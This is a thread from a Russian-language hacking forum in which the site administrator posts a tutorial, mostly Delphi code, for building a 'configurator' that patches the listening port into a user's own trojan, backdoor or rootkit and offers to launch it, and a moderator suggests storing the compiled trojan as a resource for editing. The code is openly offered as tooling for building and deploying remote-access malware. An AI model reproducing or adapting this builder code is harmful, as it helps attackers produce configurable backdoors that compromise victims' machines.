Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование

Хакер, взлом, программа, сайт, форум, информатика, железо, разгон, раскрутка, SEO, защита, безопасность, взломать, как взломать, взлом icq, взлом вконтакте, взлом программ, одноклассники, взлом почты, взлом аськи
Текущее время: 03-05, 14:22

Часовой пояс: UTC + 3 часа




Начать новую тему Ответить на тему  [ Сообщений: 2 ] 
Автор Сообщение
 Заголовок сообщения: Конфигуратор на delphi
СообщениеДобавлено: 20-03, 19:07 
Не в сети
<b><font color=red>Admin</font></b>
Аватара пользователя

Зарегистрирован: 22-05, 15:38
Сообщения: 1901
И так, после долгих мучений я наконец воткнул как написть конфинуратор на дельфях, за что отдельное спасибо Xteen’у! Ну ладно меньше слов больше дел! Естественно подразумевается что у вас уже есть свой трой, бек дор или руткит, далее просто R, который мы и будем править с помошью написанного сегодня с вами конфигуратора! Но для начала нам с вами придется немножко подправить ваш R! Начнем!
У нас есть код (возьму кусок кода из моего троя):

Код:
server.sin_family:=AF_INET;
server.sin_port:=htons(55555); //здесь мы назначаем, порт который будет слушать наш R
//как раз это место мы и будем править
//исправляем 55555 на ReadInfo
server.sin_addr.s_addr:=htonl(INADDR_ANY);


После этого в наш код нудно будет добавить одну процу и одна функцию, вот они

Код:
procedure LoadServer(Fname:string;var FullContents:string);//загрузка в память сервера
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

Function ReadInfo: Integer;//функция нахождения и правки порта
var
fcontent, apnd : string;
i : integer;
begin
copyfile( PChar(paramstr(0)) , PChar(paramstr(0)+'_'), false );
LoadServer( paramstr(0)+'_' , fcontent );
apnd := '';
i := length( fcontent );
while (i>0) AND (fcontent[i]<>#00) do begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
deletefile( PChar(paramstr(0)+'_') );
Result := StrToInt(apnd);
end;


Ну вот с R мы закончили приступаем к написанию конфигуратора!
Здесь я привиду основную часть кода ибо все остальное можно будет дописать по желанию.

Код:
procedure TForm1.LoadServer(Fname:string;var FullContents:string);
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

procedure TForm1.OpnnClick(Sender: TObject);
VAR
fcontent, apnd : String;
i : integer;
begin
IF opn.Execute THEN begin
EdtFname.Text := opn.FileName;
LoadServer(EdtFname.Text,fcontent);
i := length(fcontent);
apnd := '';
WHILE (i > 0) AND (fcontent[i] <> #00) DO begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Opn.InitialDir := ExtractFilePath(application.exename);
end;

procedure TForm1.SvClick(Sender: TObject);//открываем и правим
VAR
fcontent : string;
i : integer;
f : textfile;
begin
IF fileexists( EdtFname.Text ) THEN
begin
LoadServer( EdtFname.Text, fcontent );
i := length(fcontent);
while (i>0) AND (fcontent[i]<>#00) DO
i := i -1;
fcontent := copy(fcontent,1,i);
fcontent := fcontent + Prt.Text;
AssignFile( f , EdtFname.Text );
Rewrite( f );
write( f , fcontent );
closefile( f );
copyfile( 'ZeroDay.exe','ZeroDayNoEdit.exe', false );//тут можно подправить по желанию
IF messagedlg('Сервер сконфигурирован'+#13+#10+новый порт ….'+Prt.Text+#13+#10+
'Запустить сервер сейчас?',
mtConfirmation,[mbYes,mbNo],0) = mrYes THEN
shellexecute( 0 , nil , PChar( EdtFname.Text) , nil , nil , 1 );
end
ELSE
messagedlg('Указанный файл не верен!!!',mtError,[mbok],0);
end;


Ну вот собстно и все! Знающие люди скажут, что это самый приметивный способ и, что код очень сырой и нуждается в оптимизации и отладке! И я, честно говоря, отвечу, что они правы, но я специально не стал приводить здесь оптимизированный код лишь потому, чтобы вы читая эту статью поднапрягли свои мозги!
Всем спасибо за внимание!

P.S.Дополнения, просьба писать в эту тему! Если у когото есть какие нить претензии по поводу статьи,тож отписываем в этой теме!
P.S.S.Созданный код, берет свое существование от http://opensc.ws/showthread.php?t=618

ZirroCool


Вернуться к началу
 Профиль  
 
 Заголовок сообщения:
СообщениеДобавлено: 25-12, 22:41 
Не в сети
<b><font color=blue>Moder</b></font>

Зарегистрирован: 30-10, 08:41
Сообщения: 65
есть вариант в билдере (конфигураторе) хранить уже скомпиленный трой в рес файле... а потом средствами работы с ресурсами редактировать определенные строки...


Вернуться к началу
 Профиль  
 
Показать сообщения за:  Поле сортировки  
Начать новую тему Ответить на тему  [ Сообщений: 2 ] 

Часовой пояс: UTC + 3 часа


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 0


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения

Найти:
Перейти:  
cron
Powered by Forumenko © 2006–2014
Русская поддержка phpBB